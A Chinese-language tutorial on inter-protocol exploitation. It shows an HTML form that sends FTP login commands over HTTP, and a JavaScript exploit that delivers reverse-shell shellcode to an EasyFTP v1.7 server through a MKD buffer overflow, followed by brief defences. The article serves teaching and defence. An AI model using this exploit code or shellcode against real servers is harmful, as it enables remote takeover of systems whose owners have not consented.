跨協議通信技術利用及防御
什么是跨協議通信
跨協議通信技術(Inter-Protocol Communication)是指兩種不同的協議可以交換指令和數據的技術。其中一種稱為目標協議,另外一種稱為載體協議。目標協議就是我們最終想要通信的協議,而載體協議是用來封裝我們最后想要發送的指令和數據。
這種類型的通信想要完成有兩個必要條件:
1. 目標協議必須容錯性比較好.這是因為我們是通過一個載體協議來傳輸指令的,這樣就很可能會摻雜一些目標協議無法識別的指令。
2. 載體協議能夠封裝目標協議的指令.即使目標協議無法識別所有封裝過的指令,也必須能夠識別最終要的部分指令。
如何利用跨協議通信
跨協議漏洞利用(Inter-Protocol Expoitation)是通過一種協議去攻擊運行另外一種協議的服務。
大家最關注的還是載體協議是HTTP的時候,因為這樣攻擊者就可以通過人人都有瀏覽器來發起攻擊了。這種類型的攻擊可以讓攻擊者訪問到本來只有受害者才有權訪問的資源和服務(比如內網不對外開放的服務)。這個過程中受害者充當了一個傀儡的角色,接收并執行了有風險的代碼.
一些用換行來作為命令分隔符的協議,比如SMTP,POP3,IRC和FTP都會受這種攻擊的影響.這是因為當目標協議處理多行數據的時候是一行一行單獨處理的.而這些協議的容錯性都比較好.這就使得這些協議忽略掉識別不了的行,只執行可以識別的代碼.
為了更好的理解跨協議通信,我們來看一個簡單的例子.
示例一:通過HTTP連接FTP服務器
通過瀏覽器連接ftp服務器非常簡單,一個HTTP POST請求就可以了.下面是一個連接本機的FTP服務器的代碼.
- <form method='POST' action='http://localhost:21' enctype='multipart/form-data'>
- <input type='hidden' name='a' value='user secforce'>
- <input type='hidden' name='a' value='pass secforce'>
- <input type='submit'>
- </form>
假設這個FTP用戶密碼存在的話,提交這個表單就可以登錄到FTP服務器了.是不是很簡單.
具體發送的POST請求數據包如下:
POST / HTTP/1.1 Host: 127.0.0.1:21 User-Agent: Mozilla/5.0 (X11; Debian; Linux x86_32; rv:16.0) Gecko/20110007 Firefox/20.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------63079936718166855021600323653 Content-Length: 304 -----------------------------63079936718166855021600323653 Content-Disposition: form-data; name="a" user secforce -----------------------------63079936718166855021600323653 Content-Disposition: form-data; name="a" pass secforce -----------------------------63079936718166855021600323653--
我們接收到返回數據如下.所有的50X錯誤對應服務器無法識別的HTTP行.FTP服務器忽略了他們,執行了它可以識別的命令.
220--------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220-Local time is now 12:41. Server port: 21. 220-This is a private system - No anonymous login 220 You will be disconnected after 15 minutes of inactivity. 530 You aren't logged in 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 331 User secforce OK. Password required 500 ? 500 ? 500 ? 230 OK. Current directory is / 500 ?
自己測試的話你可能發現并不是所有的FTP命令都正常工作.像MKD/RMD和DEL工作正常,GET/PUT,RETR/STOR無法正常工作.這是因為FTP是一種帶外(out-of-band)協議,它的數據和控制指令是通過不同的TCP端口傳送的.事實上,如果你嘗試用STOR命令上傳一個文件到服務器上,會發現在服務器上創建了一個同名的空文件.這是因為在文件開始傳輸數據之前先創建一個空文件,所有的命令都不需要一個單獨的數據連接就可以工作。
讓我們看一個更加有趣的例子。
示例2:通過HTTP溢出FTP服務器反彈shell
這個例子中我們使用EasyFTP v1.7,這個版本存在一個MKD命令的緩沖區溢出漏洞.需要注意的是這個命令不需要一個額外的數據連接通道就可以成功執行.我們在虛擬機里搭建好服務器(192.168.1.10),創建"anonymous"用戶.因為成功利用這個漏洞的前提是先登錄到FTP服務器.
因為沒有必要重復造輪子,這里我們直接使用一個公開的漏洞利用代碼(參考資料[1]])來構造POST請求.這次使用javascript來發送shellcode到FTP服務器.為了成功發送shellcode,我們使用了sendAsBinary函數.
最后的函數如下:
function exploit(){ var url = 'http://192.168.1.10:21' var intro = 'USER anonymous\r\nPASS anonymous\r\n' var payload = 'MKD \x89\xe7\x81\xef\x10\xfe\xff\xff\xc7\x07\x13\x57\x7e\xd6\x81\xc7 \x14\xff\xff\xff\xff\xe7\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43 \xba\xae\x16\xd0\x74\xd9\xcc\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x4f \x31\x56\x14\x83\xee\xfc\x03\x56\x10\x4c\xe3\x2c\x9c\x19\x0c\xcd \x5d\x79\x84\x28\x6c\xab\xf2\x39\xdd\x7b\x70\x6f\xee\xf0\xd4\x84 \x65\x74\xf1\xab\xce\x32\x27\x85\xcf\xf3\xe7\x49\x13\x92\x9b\x93 \x40\x74\xa5\x5b\x95\x75\xe2\x86\x56\x27\xbb\xcd\xc5\xd7\xc8\x90 \xd5\xd6\x1e\x9f\x66\xa0\x1b\x60\x12\x1a\x25\xb1\x8b\x11\x6d\x29 \xa7\x7d\x4e\x48\x64\x9e\xb2\x03\x01\x54\x40\x92\xc3\xa5\xa9\xa4 \x2b\x69\x94\x08\xa6\x70\xd0\xaf\x59\x07\x2a\xcc\xe4\x1f\xe9\xae \x32\xaa\xec\x09\xb0\x0c\xd5\xa8\x15\xca\x9e\xa7\xd2\x99\xf9\xab \xe5\x4e\x72\xd7\x6e\x71\x55\x51\x34\x55\x71\x39\xee\xf4\x20\xe7 \x41\x09\x32\x4f\x3d\xaf\x38\x62\x2a\xc9\x62\xeb\x9f\xe7\x9c\xeb \xb7\x70\xee\xd9\x18\x2a\x78\x52\xd0\xf4\x7f\x95\xcb\x40\xef\x68 \xf4\xb0\x39\xaf\xa0\xe0\x51\x06\xc9\x6b\xa2\xa7\x1c\x3b\xf2\x07 \xcf\xfb\xa2\xe7\xbf\x93\xa8\xe7\xe0\x83\xd2\x2d\x97\x84\x45\x62 \xb8\x1a\x92\x12\xbb\x1a\x8b\xbe\x32\xfc\xc1\x2e\xec\x41\x40\x00 \x3e\x23\x1f\x17\x95\xa3\xbc\x8a\x72\x33\xca\xb6\x2c\x64\x9b\x09 \x25\xe0\x31\x33\x9f\x16\xc8\xa5\xd8\x92\x17\x16\xe6\x1b\xd5\x22 \xcc\x0b\x23\xaa\x48\x7f\xfb\xfd\x06\x29\xbd\x57\xe9\x83\x17\x0b \xa3\x43\xe1\x67\x74\x15\xee\xad\x02\xf9\x5f\x18\x53\x06\x6f\xcc \x53\x7f\x8d\x6c\x9b\xaa\x15\x8c\x7e\x7e\x60\x25\x27\xeb\xc9\x28 \xd8\xc6\x0e\x55\x5b\xe2\xee\xa2\x43\x87\xeb\xef\xc3\x74\x86\x60 \xa6\x7a\x35\x80\xe3' var req = new XMLHttpRequest(); req.open('POST', url, true); req.setRequestHeader('Content-Type', 'text/plain'); req.setRequestHeader('Content-Length', '20'); req.sendAsBinary(intro + payload + '\r\n'); // neat way to send hexadecimal code through HTTP }
這里的payload選用了反彈shell到我們自己主機的端口4444.然后用nc監聽.當在瀏覽器中訪問嵌入了上面js代碼的網頁時.奇跡發生了.
如何防御攻擊
1. 屏蔽端口.默認情況下,大部分瀏覽器會拒絕連接到一些著名的端口,比如21/FTP,25/SMTP等.這種保護方式可以通過修改瀏覽器配置或者使用非標準端口突破.
2. 更少的容錯性.一些協議接受到無法識別的命令的時候會關閉連接.這樣子降低了靈活性但是增強了抵御跨協議攻擊的能力.更好一點的做法是連續接收到無法識別的命令后關閉連接.
結論
正如上面提到的,這種攻擊方式有很多限制.通常情況下,想要達到同樣的結果有很多比跨協議攻擊更好的方式.但是在特定的環境下,這種類型的攻擊是一種很有效的攻擊方式.